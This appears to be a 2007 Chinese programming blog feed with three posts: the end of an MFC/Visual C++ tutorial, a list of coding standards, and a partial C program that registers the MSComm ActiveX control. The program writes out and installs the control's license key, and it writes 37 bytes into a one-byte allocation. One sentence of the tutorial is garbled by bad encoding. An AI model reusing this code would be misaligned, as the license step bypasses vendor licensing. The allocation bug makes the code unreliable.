name=六、使用自定义消息><strong>六、使用自定义消息</strong></a><br>1、MFC的消息映射机制<br>Windows是一个典型的消息驱动的操作系统，程序的运行是靠对各种消息的响应来实<br>现的，这些消息的来源非常广泛，既包括Windows系统本身，如WM_CLOSE、<br>WM_PAINT、WM_CREATE和WM_TIMER等常用消息，又包括用户菜单选择、键盘加速<br>键以及工具条和对话框按钮等等，如果应用程序要与其它程序协同工作，那么消息的来<br>源还包括其它应用程序发送的消息，串行口和并行口等硬件发送的消息等等。总<br>之，Windows程序的开发是围绕着对众多消息的合理响应和实现来实现程序的各种功<br>能的。使用过C语言来开发Windows程序的人都知道，在Windows程序的窗口回调函数<br>中需要安排Switch语句来响应大量的消息，同时由于消息的间断性使得不同的消息<br>响应之间信息的传递是通过大量的全局变量或者静态数据来实现的。<br>人们常用的两种类库OWL和MFC都提供了消息映射机制用以加速开发速度，使用者只<br>需要按规定定义好对应消息的处理函数自身即可，至于实际调用由类库本身所提供<br>的机制进行，或采用虚函数，或采用消息映射宏。为了有效节约内存，MFC并不大量<br>采用虚函数机制，而是采用宏来将特定的消息映射到派生类中的响应成员函数。这<br>种机制不但适用于Windows自身的140条消息，而且适用于菜单命令消息和按钮控制<br>消息。MFC提供的消息映浠剖欠浅Ｇ看蟮模市碓诶嗟母鞲霾愦紊隙韵⒔?br&gt; 控制，而不简单的局限于消息产生者本身。在应用程序接收到窗口命令时，MFC将按<br>如下次序寻找相应的消息控制函数：<br>SDI应用<br>MDI应用<br>视口<br>视口<br>文档<br>文档<br>SDI主框架<br>MDI子框架<br>应用<br>MDI主框架<br><br>应用<br>大多数应用对每一个命令通常都只有一个特定的命令控制函数，而这个命令控制函<br>数也只属于某一特定的类，但是如果在应用中对同一消息有多个命令控制函数，那<br>么只有优先级较高的命令控制函数才会被调用。为了简化对常用命令的处理，MFC在<br>基类中提供并实现了许多消息映射的入口，如打印命令，打印预览命令，退出命令<br>以及联机帮助命令等，这样在派生类中就继承了所有的基类中的消息映射函数，从<br>而可以大大简化编程。如果我们要在自己派生类中实现对消息的控制，那么必须在<br>派生类中加上相应的控制函数和映射入口。<br>2、使用自己的消息<br>在程序设计的更深层次，人们常常会发现只依赖于菜单和命令按钮产生的消息是不<br>够的，常常因为程序运行的逻辑结构和不同视口之间数据的同步而需要使用一些自<br>定义的消息，这样通过在相应层次上安排消息响应函数就可以实现自己的特殊需<br>要。比如如果我们要在特定的时间间隔内通知所有数据输出视口重新取得新数据，<br>要依靠菜单命令和按钮命令实现不够理想，比较理想的解决办法是采用定时器事件<br>进行特定的计算操作，操作完成后再采用SendMessage发送自己的特定消息，只有当<br>这一消息得到处理后才会返回主控程序进行下一时间计算。通过在文档层次上安排<br>对消息的响应取得最新计算数据，而后通过UpdateAllViews()成员函数来通知所有<br>相关视口更新数据的显示。视口通过重载OnUpdate()成员函数就可以实现特定数据<br>的更新显示。<br>如果用户能够熟练使用SendMessage()函数和PostMessage()函数，那么要发送自定<br>义消息并不难，通常有两种选择，其一是发送WM_COMMAND消息，通过消息的WORD<br>wParam参数传递用户的命令ID，举例如下：<br>SendMessage(WM_COMMAND,IDC_GETDATA,0); //MFC主框架发送<br>然后在文档层次上安排消息映射入口：<br>ON_COMMAND(IDC_GETDATA, OnGetData)<br>同时在文档类中实现OnGetData()函数：<br>void CSimuDoc::OnGetData()<br>{<br>TRACE("Now in SimuDoc,From OnGetData\n");<br>UpdateAllViews(NULL);<br>}<br>注意在上中的消息映射入口需要用户手工加入，Visual C++提供的ClassWizard并不<br>能替用户完成这一工作。上中例子没有使用PostMessage函数而使用SendMessage函<br>数的原因是利用了SendMessage函数的特点，即它只有发送消息得到适当处理后方才<br>返回，这样有助于程序控制。<br>另一种发送自定义消息的办法是直接发送命令ID，在控制层次上采用ON_MESSAGE来<br>实现消息映射入口，注意这时的命令控制函数的原型根据Windows本身消息处理的规<br>定必须如下：<br>afx_msg LONG OnCaculationOnce(WPARAM wParam,LPARAM lParam);<br>相对来讲，这种机制不如上述机制简单，也就不再赘述。<br><a name=七、使用不带文挡-视结构的MFC应用><strong>七、使用不带文挡-视结构的MFC应用<br></strong></a>文档-视结构的功能是非常强大的，可以适合于大多数应用程序，但是有时我们只需<br>要非常简单的程序，为了减少最终可执行文件尺寸和提高运行速度，我们没有必要<br>使用文挡-视结构，典型的有简单SDI应用和基于对话框的应用。<br>1、简单SDI应用<br>此时只需要使用CWinApp和CFrameWnd两个类就完全可以了。由于CWinApp类封装了<br>WinMain函数和消息处理循环，因此任何使用MFC进行编程的程序都不能脱离开该<br>类。实际上使用CWinApp类非常简单，主要是派生一个用户自己的应用类，如<br>CMyApp，然后只需重载CWinApp类的InitInstance()函数：<br><br>BOOL CMyApp::InitInstance()<br>{<br>m_pMainWnd=new CMainFrame();<br>ASSERT(m_pMainWnd!=NULL); //error checking only<br>m_pMainWnd-&gt;ShowWindow(m_nCmdShow);<br>m_pMainWnd-&gt;UpdateWindow();<br>return TRUE;<br>}<br>至于所需要的主框架类，则可以直接使用ClassWizard实用程序生成，该类的头文件<br>与实现代码可以与CMyApp类的头文件和实现代码放在一起。注意，这里由一个技<br>巧，由于ClassWizard的使用需要有相应的CLW文件存在，而收工建代码时没有对应<br>的CLW文件，因此不能直接使用，解决办法是进入App Studio实用工具后使用<br>ClassWizard，此时系统会发觉不存在相应的CLW文件，系统将提示你重建CLW文件并<br>弹出相应对话框，这时候你不需要选择任何文件就直接选择OK按钮，这样系统将为<br>你产生一个空的CLW文件，这样就可以使用ClassWizard实用工具了。为了将CWinApp<br>和CFrameWnd的派生类有机地结合在一起，只需在CFrameWnd派生类的构造函数中进<br>行窗口创建即可。典型代码如下：<br>CMainFrame::CMainFrame()<br>{<br>Create(NULL,"DDE Client Application",WS_OVERLAPPEDWINDOW,rectDefault,<br>NULL,MAKEINTRESOURCE(IDR_MAINFRAME));<br>}<br>采用ClassWizard实用程序生成相关类代码后，所有的类的其它实现和维护就同普通<br>由AppWizard实用程序产生的代码一样了。<br>2、基于对话框的程序<br>有些主要用于数据的输入和输出等的应用在使用时没有必要改变窗口大小，典型的<br>如各种联机注册程序，这些使用对话框作为应用的主界面就足够了，而且开发此类<br>应用具有方便快捷的特点，代码也比较短小，如果直接采用各种控制类生成所需要<br>的控制就特别麻烦。在Visual C++ 4.x版本中使用AppWizard就可以直接生成基于对<br>话框的应用。在Visual 1.x中没有此功能，因此这类应用需要程序员自己实现。<br>实际上使用MFC实现基于对话框的应用非常简单，同样只使用两个MFC类作为基类，<br>这两个类为CWinApp类和CDialog类。所使用的对话框主界面同样可以先用App<br>Studio编辑对话框界面，再使用ClassWizard产生相应代码框架，然后修改CMyApp类<br>的声明，增加一个该对话框类的成员变量m_Mydlg，最后修改CMyApp类的<br>InitInstance()函数如下：<br>BOOL CMyApp::InitInstance()<br>{<br>m_Mydlg.DoModal();<br>return TRUE;<br>}<br><a name=八、MFC应用的人工优化><strong>八、MFC应用的人工优化</strong></a><br>使用C/C++编写Windows程序的优点就是灵活高效，运行速度快，Visual C++编译器<br>本身的优化工作相当出色，但这并不等于不需要进行适当的人工优化，为了提高程<br>序的运行速度，程序员可以从以下几方面努力：<br>1) 减少不必要的重复显示<br>相对来讲，Windows的GDI操作是比较慢的，因此在程序中我们应该尽可能地控制整<br>个视口的显示和更新，如果前后两此数据不发生变化，那么就不要重新进行视口的<br>GDI图形操作，尤其对于背景图显示时非万不得已时不要重绘，同时不要经常五必要<br>的刷新整个窗口。<br>2) 在视口极小化时不要进行更新屏幕操作<br>在窗口处于极小化时没有必要继续进行视口更新工作，这样可以显著提高速度。为<br>此需要在子窗口一级捕获上述信息（视口不能捕获该类信息），再在视口中进行相<br>应操作。如下代码片段所示：<br>首先在子窗口类中添加如下程序段：<br>void CMyChild::OnSysCommand(UINT nID,LPARAM lparam)<br>{<br>CMDIChildWnd::OnSysCommand(nID,lparam);<br>if(nID==SC_MINIMIZE){<br>RedrawFlag=0;<br>}<br>else<br>RedrawFlag=1;<br>}<br>再在视口更新时中修改如下：<br>void CMyChart::OnUpdate( CView* pSender, LPARAM lHint, CObject* pHint )<br>{<br>if(pChild-&gt;RedrawFlag)<br>{<br>InvalidateRect(&amp;r,FALSE);<br>TRACE("Now In CMyChart::OnUpdate\n");<br>}<br>}<br>至于上中pChild指针可以在视口创建的例程中获取：<br>pChild=(CMyChild*)GetParent();<br>3) 使用永久性的资源<br>在频繁进行GDI输出的视口中，如在监控软件中常常使用的趋势图显示和棒图显示等<br>等，应该考虑在类层次上建立频繁使用的每种画笔和刷子，这可以避免频繁的在堆<br>中创建和删除GDI对象，从而提高速度。<br>4) 使用自有设备描述句柄<br>亦即在创建视口时通过指定WM_OWNDC风格来拥有自己的显示设备句柄，这虽然会多<br>消耗一些内存，一个DC大约占800字节的内存，但是这避免了每次进行GDI操作前创<br>建并合理初始化显示设备句柄这些重复操作。特别是要自定义坐标系统和使用特殊<br>字体的视口这一点尤其重要。在16M机器日益普遍的今天为了节约一点点内存而降低<br>速度的做法并不可取。<br>5) 优化编译时指定/G3选项和/FPix87选项<br>/G3选项将强迫编译器使用386处理器的处理代码，使用嵌入式协处理器指令对那些<br>频繁进行浮点运算的程序很有帮助。采用这两种编译开关虽然提高了对用户机型的<br>要求，但在386逐渐被淘汰，486市场大幅度萎缩，586市场日益普及的今天上述问题<br>已经不再成为问题了。<br>九、结束语<br>总体上讲，使用Visual C++和MFC类库进行Windows编程是非常方便的，本文中所提<br>到的一些看法只代表本人的观点，经验也只是笔者根据近年使用MFC进行Windows编<br>程的总结，在此写出来是希望对那些使用VC和MFC进行Windows编程的同行有所帮<br>助，如有不同看法欢迎与笔者联系讨论。<br>十、参考文献：<br>[1]. David J.Kruglinski ，Visual C++技术内幕，清华大学出版社，1995<br>[2]. 郑雪明，Visual C++基础类库参考大全，学苑出版社，1994<br>[3]. B.R. Overland，Visual C++程序设计精髓，科学出版社，1995<br>[4]. Mike Klein，Windows程序员使用指南--DLL和内存管理，清华大学出版社，<br>1995<br>[5]. Richard Wilton，Microsoft Windows软件开发环境与技术， 清华大学出版<br>社，1993<br>[6]. 芶建兵，倪维斗，Windows下网络DDE的使用，电子与电脑，1997.2<br></font></p>
            <p>　</p>
            </td>
        </tr>
    </tbody>
</table>
<table height=126 cellSpacing=1 cellPadding=1 width=550 border=0>
    <tbody>
        <tr>
            <td height=21></td>
        </tr>
        <tr>
            <td vAlign=top width="100%" height=78>
            <p align=center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://www.gjwtech.com/vcandc/vc3cvbcompare.htm#Visual C++与Delphi/C++Builder之比较">回到页顶</a>&nbsp;</p>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/29520.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-07-05 16:54 <a href="http://www.cnitblog.com/weitom1982/archive/2007/07/05/29520.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC编程规范-程序员们都应该这样写代码(等待删除)</title><link>http://www.cnitblog.com/weitom1982/archive/2007/07/05/29519.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Thu, 05 Jul 2007 08:53:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/07/05/29519.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/29519.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/07/05/29519.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/29519.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/29519.html</trackback:ping><description><![CDATA[<p>基本要求<br><br>1.1 程序结构清析，简单易懂，单个函数的程序行数不得超过100行。<br>1.2 打算干什么，要简单，直接了当，代码精简，避免垃圾程序。<br>1.3 尽量使用标准库函数和公共函数。<br>1.4 不要随意定义全局变量，尽量使用局部变量。<br>1.5 使用括号以避免二义性。<br><br>2.可读性要求<br>2.1 可读性第一，效率第二。<br>2.2 保持注释与代码完全一致。<br>2.3 每个源程序文件，都有文件头说明，说明规格见规范。<br>2.4 每个函数，都有函数头说明，说明规格见规范。<br>2.5 主要变量（结构、联合、类或对象）定义或引用时，注释能反映其含义。<br>2.7 常量定义（DEFINE）有相应说明。<br>2.8 处理过程的每个阶段都有相关注释说明。<br>2.9 在典型算法前都有注释。<br>2.10 利用缩进来显示程序的逻辑结构，缩进量一致并以Tab键为单位，定义Tab为 6个<br>字节。<br>2.11 循环、分支层次不要超过五层。<br>2.12 注释可以与语句在同一行，也可以在上行。<br>2.13 空行和空白字符也是一种特殊注释。<br>2.14 一目了然的语句不加注释。<br>2.15 注释的作用范围可以为：定义、引用、条件分支以及一段代码。<br>2.16 注释行数（不包括程序头和函数头说明部份）应占总行数的 1/5 到 1/3 。<br><br><br>3. 结构化要求<br><br>3.1 禁止出现两条等价的支路。<br>3.2 禁止GOTO语句。<br>3.3 用 IF 语句来强调只执行两组语句中的一组。禁止 ELSE GOTO 和 ELSE RETURN。<br>3.4 用 CASE 实现多路分支。<br>3.5 避免从循环引出多个出口。<br>3.6 函数只有一个出口。<br>3.7 不使用条件赋值语句。<br>3.8 避免不必要的分支。<br>3.9 不要轻易用条件分支去替换逻辑表达式。<br><br>4. 正确性与容错性要求<br><br>4.1 程序首先是正确，其次是优美<br>4.2 无法证明你的程序没有错误，因此在编写完一段程序后，应先回头检查。<br>4.3 改一个错误时可能产生新的错误，因此在修改前首先考虑对其它程序的影响。<br>4.4 所有变量在调用前必须被初始化。<br>4.5 对所有的用户输入，必须进行合法性检查。<br>4.6 不要比较浮点数的相等，<br>如： 10.0 * 0.1 == 1.0 ， 不可靠<br>4.7 程序与环境或状态发生关系时，必须主动去处理发生的意外事件，如文件能否<br>逻辑锁定、打印机是否联机等。<br>4.8 单元测试也是编程的一部份，提交联调测试的程序必须通过单元测试。<br><br>5. 可重用性要求<br><br>5.1 重复使用的完成相对独立功能的算法或代码应抽象为公共控件或类。<br>5.2 公共控件或类应考虑OO思想，减少外界联系，考虑独立性或封装性。<br>5.3 公共控件或类应建立使用模板。<br><br>附：C＋＋ 编程规范,delphi作相应的参考<br><br><br>.1适用范围<br><br>本标准适用于利用Visul C++ ,Borland C++进行软件程序开发的人员.。<br><br><br><br>.2变量命名<br><br>命名必须具有一定的实际意义,形式为xAbcFgh,x由变量类型确定,Abc、Fgh表示连续意<br>义字符串,如果连续意义字符串仅两个,可都大写.如OK.<br><br>具体例程:<br><br>BOOL类型 bEnable;<br><br><br><br>ch * char chText<br>c * 类对象 cMain（对象实例）<br>h * Handle（句柄） hWnd<br>i * int<br>n * 无符号整型<br>p * 指针<br>sz,str * 字符串<br>w WORD<br>x,y 坐标<br><br>Char或者TCHAR类型 与Windows API有直接联系的用szAppName[10]形式否则用<br>FileName[10]形式,单个字符也可用小写字母表示;<br><br>Int类型 nCmdShow;<br><br>LONG类型 lParam;<br><br>UINT类型 uNotify;&nbsp;<br><br><br><br>DWORD类型 dwStart;<br><br>PSTR类型 pszTip;<br><br>LPSTR类型 lpCmdLine<br><br>LPTSTR类型 lpszClassName;<br><br>LPVOID类型 lpReserved<br><br>WPARAM类型 wParam,<br><br>LPARAM类型 lParam<br><br>HWND类型 hDlg;<br><br>HDC类型 hDC;<br><br>HINSTANCE类型 hInstance<br><br>HANDLE类型 hInstance,<br><br>HICON类型 hIcon;<br><br>int iTmp<br><br>float fTmp<br><br>DWORD dw*<br><br>String , AnsiString str *<br><br>m_ 类成员变量 m_nVal, m_bFlag<br>g_ 全局变量 g_nMsg, g_bFlag<br><br>局部变量中可采用如下几个通用变量：nTemp，nResult，I，J（一般用于循环变量）。<br><br>其他资源句柄同上<br><br>.3常量命名和宏定义<br><br>常量和宏定义必须具有一定的实际意义;<br><br>常量和宏定义在#include和函数定义之间;<br><br>常量和宏定义必须全部以大写字母来撰写,中间可根据意义的连续性用下划线连接,每一<br>条定义的右侧必须有一简单的注释,说明其作用;<br><br>资源名字定义格式:<br><br>菜单:IDM_XX或者CM_XX<br><br>位图:IDB_XX<br><br>对话框:IDD_XX<br><br>字符串:IDS_XX<br><br>DLGINIT:DIALOG_XX<br><br>ICON:IDR_XX<br><br>.4函数命名<br><br>函数原型说明包括引用外来函数及内部函数，外部引用必须在右侧注明函数来源： 模<br>块名及文件名, 如是内部函数，只要注释其定义文件名;<br><br>第一个字母必须使用大写字母,要求用大小写字母组合规范函数命名,必要时可用下划线<br>间隔,示例如下：<br><br>void UpdateDB_Tfgd (TRACK_NAME); //Module Name :r01/sdw.c<br><br>void PrintTrackData (TRACK_NAME); //Module Name :r04/tern.c<br><br>void ImportantPoint (void); //Module Name :r01/sdw.c<br><br>void ShowChar (int , int , chtype); //Local Module<br><br>void ScrollUp_V (int , int); //Local Module<br><br>.5结构体命名<br><br>结构体类型命名必须全部用大写字母,原则上前面以下划线开始;结构体变量命名必须用<br>大小写字母组合，第一个字母必须使用大写字母,必要时可用下划线间隔。对于私有数<br>据区，必须注明其所属的进程。全局数据定义只需注意其用途。<br><br>示例如下：<br><br>typedef struct<br><br>{<br><br>char szProductName[20];<br><br>char szAuthor[20];<br><br><br>char szReleaseDate[16];<br><br>char szVersion[10];&nbsp;<br><br><br>unsigned long MaxTables;<br><br>unsigned long UsedTables;<br><br>}DBS_DATABASE;<br><br>DBS_DATABASE GdataBase;<br><br><br><br>6 控件的命名：<br>用小写前缀表示类别<br><br>用小写前缀表示类别：<br>fm 窗口<br>cmd 按钮<br>cob combo，下拉式列表框<br>txt 文本输入框<br>lab labal，标签<br>img image，图象<br>pic picture<br>grd Grid，网格<br>scr 滚动条<br>lst 列表框<br>frm fram<br><br><br><br>7注释<br><br>原则上注释要求使用中文;<br><br>文件开始注释内容包括:公司名称、版权、作者名称、时间、模块用途、背景介绍等,复<br>杂的算法需要加上流程说明;<br><br>函数注释包括:输入、输出、函数描述、流程处理、全局变量、调用样例等,复杂的函数<br>需要加上变量用途说明;<br><br>程序中注释包括:修改时间和作者、方便理解的注释等;<br><br><br><br><br><br>引用一: 文件开头的注释模板<br><br>/******************************************************************<br><br>** 文件名:<br><br>** Copyright (c) 1998-1999 *********公司技术开发部<br><br>** 创建人:<br><br>** 日 期:<br><br>** 修改人:<br><br>** 日 期:<br><br>** 描 述:<br><br>**<br><br>** 版 本:<br><br>**--------------------------------------------------------------------------<br>---<br><br><br><br><br><br>******************************************************************/<br><br><br><br>引用二: 函数开头的注释模板<br><br>/*****************************************************************<br><br>** 函数名:<br><br>** 输 入: a,b,c<br><br>** a---<br><br>** b---<br><br>** c---<br><br>** 输 出: x---<br><br>** x 为 1, 表示...<br><br>** x 为 0, 表示...<br><br>** 功能描述:<br><br>** 全局变量:<br><br>** 调用模块:<br><br>** 作 者:<br><br>** 日 期:<br><br>** 修 改:<br><br>** 日 期:<br><br>** 版本<br><br>****************************************************************/<br><br>引用三: 程序中的注释模板<br><br>/*----------------------------------------------------------*/<br><br>/* 注释内容 */<br><br>/*----------------------------------------------------------*/<br><br>8 程序<br><br>a. 程序编码力求简洁，结构清晰，避免太多的分支结构及太过于技巧性的程序，<br>尽量不采用递归模式。<br><br>b. 编写程序时，亦必须想好测试的方法，换句话说，&#8221;单元测试&#8221; 的测试方案应<br>在程序编写时一并拟好。<br><br>c. 注释一定要与程序一致。<br><br>d. 版本封存以后的修改一定要将老语句用/* */ 封闭，不能自行删除或修改,并要<br>在文件及函数的修改记录中加以记录。<br><br>e. 程序中每个block 的开头 &#8221;{" 及 "}&#8221; 必须对齐，嵌套的block 每进一套，<br>缩进一个tab，TAB 为4个空格,block类型包括if、for、while、do等关键字引出的。<br><br>f. 对于比较大的函数，每个block 和特殊的函数调用，都必须注明其功能，举例如下<br><br>：<br><br>count.divisor = 1193280 / freq; // compute the proper count<br><br>OutByte((unsigned short)67, (unsigned char)182); // tell 8253 that a<br>count is coming<br><br>OutByte((unsigned short)66, count. c[0]); // send low-order byte<br><br>OutByte((unsigned short)66, count. c[1]); // send high-order byte<br><br><br><br>&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;&#215;<br><br>bcb，delphi中的变量命名：<br><br>遵循匈牙利命名法，命<br>名必须有意义，制定如下规定<br><br>窗体： 以大写的W开始，如About版权窗体， 命名为WAbout<br><br>文件：以大写的F开始，如About版权窗体，文件命名为FAbout.cpp<br><br>按钮(Button)：如退出按钮，命名为btnExit<br><br>&#8230;&#8230;<br><br>基类： 加base标记，如报表基类,窗体命名为：WBaseRep, 文件命名为FBaseRep.cpp&nbsp;<br></p>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/29519.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-07-05 16:53 <a href="http://www.cnitblog.com/weitom1982/archive/2007/07/05/29519.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于注册mscomm程序的编写(zt) 自己写了一点 </title><link>http://www.cnitblog.com/weitom1982/archive/2007/06/14/28452.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Thu, 14 Jun 2007 08:55:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/06/14/28452.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/28452.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/06/14/28452.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/28452.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/28452.html</trackback:ping><description><![CDATA[<div class=postText>
<p><font size=2>前一段用了mscomm控件编写程序，但是部署到新的设备上时需要手工注册控件，很是麻烦，能不能编写一个Winapi的程序自动注册呢？所以就自己写了一个程序。</font></p>
<p><font size=2>原理：如何手工来注册安装MSComm控件。 </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>　 </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>　　第一步：将Mscomm.srg, Mscomm32.ocx,Mscomm32.dep三个文件复制到系统文件夹中。要注意的是，MSComm控件是要授权的，所以必须将其使用&#8220;执照&#8221;Licence 在注册表中登记注册，下一步就是注册方法。至于为什么要这样做，可以看看下面的网页：</font><a href="http://support.microsoft.com/support/kb/articles/q151/7/71.asp"><font color=#000000 size=2>http://support.microsoft.com/support/kb/articles/q151/7/71.asp</font></a><font size=2> </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>　　 </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>　　第二步：用Windows下的注册工具regsvr32注册该OCX控件，点击&#8220;开始&#8221;-&gt;"运行"，再在中填入（假设操作安装在C盘，WIN2000）： </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Regsvr32&nbsp; </font><a href="file:///C:/winnt/system32/Mscomm32.ocx"><font color=#000000 size=2>C:\winnt\system32\Mscomm32.ocx</font></a><font size=2> </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>　 </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>&nbsp;&nbsp; 　第三步：在注册表中手工新建一个主键项：先在点击&#8220;开始&#8221;-&gt;"运行"，再在中填入regedit命令打开注册表，找到HKEY_CLASSES_ROOT\Licenses，在其中添加主键<br>4250E830-6AC2-11cf-8ADB-00AA00C00905　并将内容设置为： </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>　　　　　　　kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun </font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>　　　（注：这项内容也可以用记事本程序打开Mscomm.srg文件看到）</font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2></font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>这是手工注册的过程，非常繁琐。我得程序也是按照这个顺序执行的。</font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><font size=2>源代码：</font></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>// <br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>void CPFile(char file);<br>void regsted();<br>void regOCX();</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>void CPFile(char file[],char tarpath[])&nbsp;//将三个文件拷贝到系统目录<br>{<br>&nbsp;char tempsys[100];<br>&nbsp;&nbsp;&nbsp; char *r;<br>&nbsp;char *t;</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;r=tarpath;<br>&nbsp;t=tempsys;<br>&nbsp;strcpy(t,r);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left></p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;char path[256];<br>&nbsp;char *p;<br>&nbsp;char *q;<br>&nbsp;&nbsp;&nbsp; GetModuleFileName(GetModuleHandle(NULL),path,sizeof(path));<br>&nbsp;<br>&nbsp;&nbsp;&nbsp; p = path;<br>&nbsp;while(strchr(p,'\\')) <br>&nbsp;{<br>&nbsp;&nbsp;p = strchr(p,'\\');&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p++;&nbsp; <br>&nbsp;}<br>&nbsp;&nbsp;&nbsp; *p = '\0';</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><br>&nbsp;p=strchr(path,'\0');<br>&nbsp;&nbsp;&nbsp; q=file;<br>&nbsp;strcpy(p,q);<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; p=strchr(tempsys,'\0');<br>&nbsp;*p = '\\';<br>&nbsp;&nbsp;p++;</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><br>&nbsp;&nbsp;&nbsp; q=file;<br>&nbsp;strcpy(p,q);<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;CopyFile(path,tempsys,FALSE);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>}</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>void regsted()&nbsp;&nbsp; //将相关信息写入注册表<br>{<br>&nbsp;HKEY hKey;<br>&nbsp;&nbsp;&nbsp; DWORD dwDip;<br>&nbsp;LPBYTE owner_Get=new BYTE[80]; <br>&nbsp;DWORD type_1=REG_SZ;<br>&nbsp;DWORD cbData_1=80; <br>&nbsp;long exist=RegQueryValueEx(HKEY_CLASSES_ROOT, "Licenses\\4250E830-6AC2-11cf-8ADB-00AA00C00905", NULL, &amp;type_1, owner_Get, &amp;cbData_1); </p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; if(exist!=ERROR_SUCCESS)<br>&nbsp;{<br>&nbsp;&nbsp; long ret =&nbsp; RegCreateKeyEx(HKEY_CLASSES_ROOT,"Licenses\\4250E830-6AC2-11cf-8ADB-00AA00C00905",0l,NULL,REG_OPTION_VOLATILE,KEY_ALL_ACCESS,NULL,&amp;hKey,&amp;dwDip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD leng=37;</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp; char key[37]="kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPBYTE lpb=new BYTE(37);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i=0;i&lt;37;i++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lpb[i]=key[i];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long ret2 = RegSetValueEx(hKey,NULL,NULL,REG_SZ,lpb,leng);</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;}<br>}</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left><br>void regOCX()//调用新进程注册组件<br>{</p>
<p style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 3px" align=left>&nbsp;&nbsp;&nbsp; char commandline[256];<br>&nbsp;char windowsdir[256];<br>&nbsp;&nbsp;&nbsp; char lastcommandline[257];</p>
